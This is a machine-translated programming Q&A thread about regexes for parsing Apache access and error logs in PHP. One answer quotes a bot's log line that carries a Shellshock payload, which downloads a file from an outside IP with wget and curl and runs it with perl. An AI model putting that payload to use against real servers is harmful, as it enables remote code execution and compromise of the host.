2011-09-29 29 views
25

我需要將數據保存在一個表(用於報告,統計等...),所以用戶可以通過時間搜索,用戶代理等我有一個運行每天都讀腳本Apache日誌,然後將其插入到數據庫中。解析Apache日誌在PHP中使用的preg_match

日誌格式:

10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1" 

我的正則表達式:

preg_match('/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) (\".*?\") (\".*?\")$/',$log, $matches); 

現在,當我打印:

print_r($matches); 

Array 
(
    [0] => 10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1" 
    [1] => 10.1.1.150 
    [2] => - 
    [3] => - 
    [4] => 29/September/2011 
    [5] => 14:21:49 
    [6] => -0400 
    [7] => GET 
    [8] => /info/ 
    [9] => HTTP/1.1 
    [10] => 200 
    [11] => 9955 
    [12] => "http://www.domain.com/download/" 
    [13] => "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1" 
) 

我得到:"http://www.domain.com/download/"和相同的用戶代理。如何在正則表達式中擺脫這些"?獎金(有沒有什麼快捷方式可以輕鬆插入日期/時間)?

感謝

+0

這是個重複的問題#2221636 –

+0

我已經爲此寫了一個簡單的輔助類。請參閱https://github.com/Spudley/ApacheLogIterator – SDC

+0

@SDC:感謝Simon,該迭代器非常棒! – Pete855217

回答

35

在PHP解析一個Apache access_log日誌,你可以使用這個表達式:

$regex = '/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/'; 
preg_match($regex ,$log, $matches); 

要匹配的Apache error_log格式,你可以使用這個表達式:

$regex = '/^\[([^\]]+)\] \[([^\]]+)\] (?:\[client ([^\]]+)\])?\s*(.*)$/i'; 
preg_match($regex, $log, $matches); 
$matches[1] = Date and time,   $matches[2] = severity, 
$matches[3] = client addr (if present) $matches[4] = log message 

它匹配線帶或不帶客戶:

[Tue Feb 28 11:42:31 2012] [notice] Apache/2.4.1 (Unix) mod_ssl/2.4.1 OpenSSL/0.9.8k PHP/5.3.10 configured -- resuming normal operations 
[Tue Feb 28 14:34:41 2012] [error] [client 192.168.50.10] Symbolic link not allowed or link target not accessible: /usr/local/apache2/htdocs/x.js 
+0

它的工作,謝謝 – Tech4Wilco

3

如果你不想要捕獲的雙引號,他們搬出捕獲組。

(\".*?\") 

應該改爲:

\"(.*?)\" 

作爲替代你可以只後期處理與trim($str, '"')

1

你的正則表達式中的條目是錯誤的。 你shoudl使用正則表達式正確

/^(\S+) (\S+) (\S+) - \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/ 
+1

你能擴展在哪裏,爲什麼是錯的? (這將有助於確保同樣的錯誤在未來不會重複):) –

+0

我秒。不包括爲什麼正則表達式是錯誤的。 – ftrotter

+0

此外,它在標準的Apache日誌行上不匹配。忽略這一個。 – Pete855217

0

我用一對夫婦正則表達式,這裏2015年1月試了,發現一個壞機器人是沒有得到我的Apache2日誌匹配。

壞機器人的Apache2線是BASH黑客嘗試,我沒有試圖找出正則表達式修正尚未:

199.217.117.211 - - [18/Jan/2015:10:52:27 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\"" 
0

正如我所看到和做了這麼多errneous日誌解析,在這裏是一個有希望有效的正則表達式,上50K線日誌的測試而沒有任何單一的diff,知道:

  • AUTH_USER可以有空格
  • response_size可以是 -
  • http_start_line至少可以有一個空格(HTTP/0。9)或兩個
  • http_start_line可能包含雙引號
  • 引用可以是空的,有空格,或雙引號(它只是一個HTTP標頭)
  • USER_AGENT可以是空過,或包含雙引號和空格
  • 很難區分引薦來源和用戶代理,我們只是將" "置於兩者之間充分區分,然而我們可以在引薦來源和用戶代理中找到臭名昭着的" ",所以基本上我們在這裏搞砸了。

$ncsa_re = '/^(?P<IP>\S+) \ (?P<ident>\S) \ (?P<auth_user>.*?) # Spaces are allowed here, can be empty. \ (?P<date>\[[^]]+\]) \ "(?P<http_start_line>.+ .+)" # At least one space: HTTP 0.9 \ (?P<status_code>[0-9]+) # Status code is _always_ an integer \ (?P<response_size>(?:[0-9]+|-)) # Response size can be - \ "(?P<referrer>.*)" # Referrer can contains everything: its just a header \ "(?P<user_agent>.*)"$/x';

希望這是幫助。

+0

什麼是你的正則表達式中的P?我還沒有發現任何使用正則表達式的東西,它只是被標記爲錯誤。 – mutatron

+0

@mutatron它是一個有名的捕獲。搜索「命名組」或「命名捕獲組」。 –